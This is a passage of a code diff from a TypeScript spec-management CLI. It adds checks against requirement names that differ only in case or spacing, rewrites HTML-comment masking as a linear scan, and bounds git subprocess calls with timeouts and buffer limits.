for (const orphan of plan.orphanedRequirements) {
|
||||
const where = orphan.section
|
||||
? `under "## ${orphan.section}"`
|
||||
: 'above the first "## " section';
|
||||
warn(
|
||||
`${specName} - requirement "${orphan.name}" (line ${orphan.line}) is ${where}, ` +
|
||||
`which is not a delta section, so it was not applied. ` +
|
||||
`Move it under ADDED/MODIFIED/REMOVED/RENAMED Requirements.`
|
||||
);
|
||||
}
|
||||
|
||||
// Pre-validate duplicates within sections
|
||||
const addedNames = new Set<string>();
|
||||
for (const add of plan.added) {
|
||||
@@ -412,6 +463,17 @@ export async function buildUpdatedSpec(
|
||||
if (nameToBlock.has(to)) {
|
||||
throw new Error(`${specName} RENAMED failed for header "### Requirement: ${r.to}" - target already exists`);
|
||||
}
|
||||
// A target that differs from another requirement only in case or interior
|
||||
// whitespace would leave two copies of one requirement. The source itself
|
||||
// is exempt, so a case-only rename of a requirement stays allowed.
|
||||
const targetNearMiss = [...nameToBlock.keys()].find(
|
||||
(k) => k !== from && foldRequirementName(k) === foldRequirementName(to)
|
||||
);
|
||||
if (targetNearMiss !== undefined) {
|
||||
throw new Error(
|
||||
`${specName} RENAMED failed for header "### Requirement: ${r.to}" - "### Requirement: ${nameToBlock.get(targetNearMiss)!.name}" already exists and differs only in case or spacing; choose a distinct name`
|
||||
);
|
||||
}
|
||||
const block = nameToBlock.get(from)!;
|
||||
const newHeader = `### Requirement: ${to}`;
|
||||
const rawLines = block.raw.split('\n');
|
||||
@@ -505,6 +567,17 @@ export async function buildUpdatedSpec(
|
||||
}
|
||||
throw new Error(`${specName} ADDED failed for header "### Requirement: ${add.name}" - already exists`);
|
||||
}
|
||||
// A name that differs from an existing requirement only in case or
|
||||
// interior whitespace is that requirement written again: adding it would
|
||||
// leave two contradicting copies in the spec. Like the exact check above,
|
||||
// this compares against the spec as it stands after the earlier operations,
|
||||
// so a variant of a requirement this delta removed or renamed away is fine.
|
||||
const nearMiss = [...nameToBlock.keys()].find((k) => foldRequirementName(k) === foldRequirementName(key));
|
||||
if (nearMiss !== undefined) {
|
||||
throw new Error(
|
||||
`${specName} ADDED failed for header "### Requirement: ${add.name}" - "### Requirement: ${nameToBlock.get(nearMiss)!.name}" already exists and differs only in case or spacing; use MODIFIED with that exact header to change it, or choose a distinct name`
|
||||
);
|
||||
}
|
||||
nameToBlock.set(key, add);
|
||||
addedApplied++;
|
||||
}
|
||||
@@ -1188,14 +1261,34 @@ export async function writeUpdatedSpec(
|
||||
/** Blank out `<!-- ... -->` spans, preserving line count so indices stay aligned. */
|
||||
function maskHtmlComments(content: string): string {
|
||||
const blank = (text: string) => text.replace(/[^\n]/g, ' ');
|
||||
// `--!>` is a comment terminator as well as `-->`.
|
||||
const masked = content.replace(/<!--[\s\S]*?--!?>/g, blank);
|
||||
// A comment that is never closed runs to end of file, so everything after it
|
||||
// is commented out too. Without this an unterminated `<!--` above a
|
||||
// `## Purpose` left the commented-out header looking real (#1413).
|
||||
const unterminated = masked.indexOf('<!--');
|
||||
if (unterminated === -1) return masked;
|
||||
return masked.slice(0, unterminated) + blank(masked.slice(unterminated));
|
||||
// Linear scan: every character is visited once. A `/<!--[\s\S]*?--!?>/g`
|
||||
// replace re-scans to end of file from every `<!--`, which is quadratic on a
|
||||
// spec dense in comment openers.
|
||||
let out = '';
|
||||
let index = 0;
|
||||
for (;;) {
|
||||
const open = content.indexOf('<!--', index);
|
||||
if (open === -1) return out + content.slice(index);
|
||||
out += content.slice(index, open);
|
||||
// `--!>` is a comment terminator as well as `-->`.
|
||||
let close = -1;
|
||||
for (let i = open + 4; i < content.length; i++) {
|
||||
if (content.startsWith('-->', i)) {
|
||||
close = i + 3;
|
||||
break;
|
||||
}
|
||||
if (content.startsWith('--!>', i)) {
|
||||
close = i + 4;
|
||||
break;
|
||||
}
|
||||
}
|
||||
// A comment that is never closed runs to end of file, so everything after
|
||||
// it is commented out too. Without this an unterminated `<!--` above a
|
||||
// `## Purpose` left the commented-out header looking real (#1413).
|
||||
if (close === -1) return out + blank(content.slice(open));
|
||||
out += blank(content.slice(open, close));
|
||||
index = close;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
+80
-7
@@ -6,7 +6,51 @@ import { promisify } from 'node:util';
|
||||
import { StoreError } from './errors.js';
|
||||
|
||||
const fs = nodeFs.promises;
|
||||
const execFileAsync = promisify(execFile);
|
||||
const rawExecFileAsync = promisify(execFile);
|
||||
|
||||
/**
|
||||
* Bounds every read-only git probe. Without a timeout a wedged network mount, an
|
||||
* fsmonitor daemon, or a credential/GPG prompt hangs the CLI forever; without a
|
||||
* raised maxBuffer a very large dirty tree makes `git status --porcelain` throw
|
||||
* ENOBUFS, which the probes below would otherwise report as "no git facts".
|
||||
* A probe writes nothing, so a hard kill is safe.
|
||||
*/
|
||||
export const GIT_EXEC_OPTIONS = {
|
||||
encoding: 'utf8',
|
||||
timeout: 15_000,
|
||||
killSignal: 'SIGKILL',
|
||||
maxBuffer: 16 * 1024 * 1024,
|
||||
} as const;
|
||||
|
||||
/**
|
||||
* Writes get their own bounds, and deliberately NOT SIGKILL: git traps SIGTERM
|
||||
* to remove `.git/index.lock` on its way out, and a signal it cannot catch
|
||||
* leaves that lock behind - every later git command in the user's store then
|
||||
* fails with "Another git process seems to be running", including the
|
||||
* best-effort unstage below. The timeout is also far longer, because a signed
|
||||
* commit can legitimately sit waiting on pinentry or a hardware key.
|
||||
*/
|
||||
export const GIT_WRITE_EXEC_OPTIONS = {
|
||||
encoding: 'utf8',
|
||||
timeout: 120_000,
|
||||
maxBuffer: 16 * 1024 * 1024,
|
||||
} as const;
|
||||
|
||||
function execFileAsync(
|
||||
file: string,
|
||||
args: string[],
|
||||
options: { cwd?: string } = {}
|
||||
): Promise<{ stdout: string; stderr: string }> {
|
||||
return rawExecFileAsync(file, args, { ...GIT_EXEC_OPTIONS, ...options });
|
||||
}
|
||||
|
||||
/** Same as execFileAsync, for commands that modify the user's repository. */
|
||||
function execGitWrite(
|
||||
args: string[],
|
||||
options: { cwd?: string } = {}
|
||||
): Promise<{ stdout: string; stderr: string }> {
|
||||
return rawExecFileAsync('git', args, { ...GIT_WRITE_EXEC_OPTIONS, ...options });
|
||||
}
|
||||
|
||||
/**
|
||||
* Git mechanics for stores: repository detection, setup-time init and
|
||||
@@ -39,7 +83,7 @@ export async function initGitRepository(storeRoot: string): Promise<boolean> {
|
||||
}
|
||||
|
||||
try {
|
||||
await execFileAsync('git', ['init'], { cwd: storeRoot });
|
||||
await execGitWrite(['init'], { cwd: storeRoot });
|
||||
} catch (error) {
|
||||
throw new StoreError(
|
||||
`Failed to initialize Git repository: ${error instanceof Error ? error.message : String(error)}`,
|
||||
@@ -101,16 +145,15 @@ export async function commitStoreFiles(
|
||||
}
|
||||
|
||||
try {
|
||||
await execFileAsync('git', ['add', '--', ...pathspecs], { cwd: storeRoot });
|
||||
await execFileAsync(
|
||||
'git',
|
||||
await execGitWrite(['add', '--', ...pathspecs], { cwd: storeRoot });
|
||||
await execGitWrite(
|
||||
['commit', '-m', `Initialize OpenSpec store ${id}`, '--', ...pathspecs],
|
||||
{ cwd: storeRoot }
|
||||
);
|
||||
} catch (error) {
|
||||
// Best-effort unstage so a failed commit (gpg signing, hooks) does not
|
||||
// leave setup's files in the user's index after rollback deletes them.
|
||||
await execFileAsync('git', ['rm', '--cached', '-r', '-f', '-q', '--', ...pathspecs], {
|
||||
await execGitWrite(['rm', '--cached', '-r', '-f', '-q', '--', ...pathspecs], {
|
||||
cwd: storeRoot,
|
||||
}).catch(() => undefined);
|
||||
|
||||
@@ -127,11 +170,41 @@ export async function commitStoreFiles(
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* A probe that hit a resource limit rather than an ordinary Git answer: the
|
||||
* command was killed by the timeout above, or its output exceeded maxBuffer.
|
||||
* Both produce the same `null` as "not a repository", so without this the CLI
|
||||
* would quietly stop reporting facts it is capable of reporting.
|
||||
*/
|
||||
export function isProbeResourceFailure(error: unknown): boolean {
|
||||
if (typeof error !== 'object' || error === null) return false;
|
||||
const { code, killed, signal } = error as {
|
||||
code?: number | string;
|
||||
killed?: boolean;
|
||||
signal?: string | null;
|
||||
};
|
||||
return (
|
||||
code === 'ERR_CHILD_PROCESS_STDIO_MAXBUFFER' ||
|
||||
code === 'ETIMEDOUT' ||
|
||||
(killed === true && signal === 'SIGKILL')
|
||||
);
|
||||
}
|
||||
|
||||
async function gitProbe(storeRoot: string, args: string[]): Promise<string | null> {
|
||||
try {
|
||||
const { stdout } = await execFileAsync('git', ['-C', storeRoot, ...args]);
|
||||
return stdout;
|
||||
} catch {
|
||||
} catch (error) {
|
||||
// "git is absent" and "this is not a repository" are expected answers and
|
||||
// stay silent; a probe that timed out or overflowed its buffer is a
|
||||
// degraded result the user should know about, since callers cannot tell
|
||||
// the two apart from the null alone.
|
||||
if (isProbeResourceFailure(error)) {
|
||||
process.emitWarning(
|
||||
`git ${args.join(' ')} did not complete in ${storeRoot}; store Git facts are unavailable for this run.`,
|
||||
'OpenSpecGitProbeWarning'
|
||||
);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user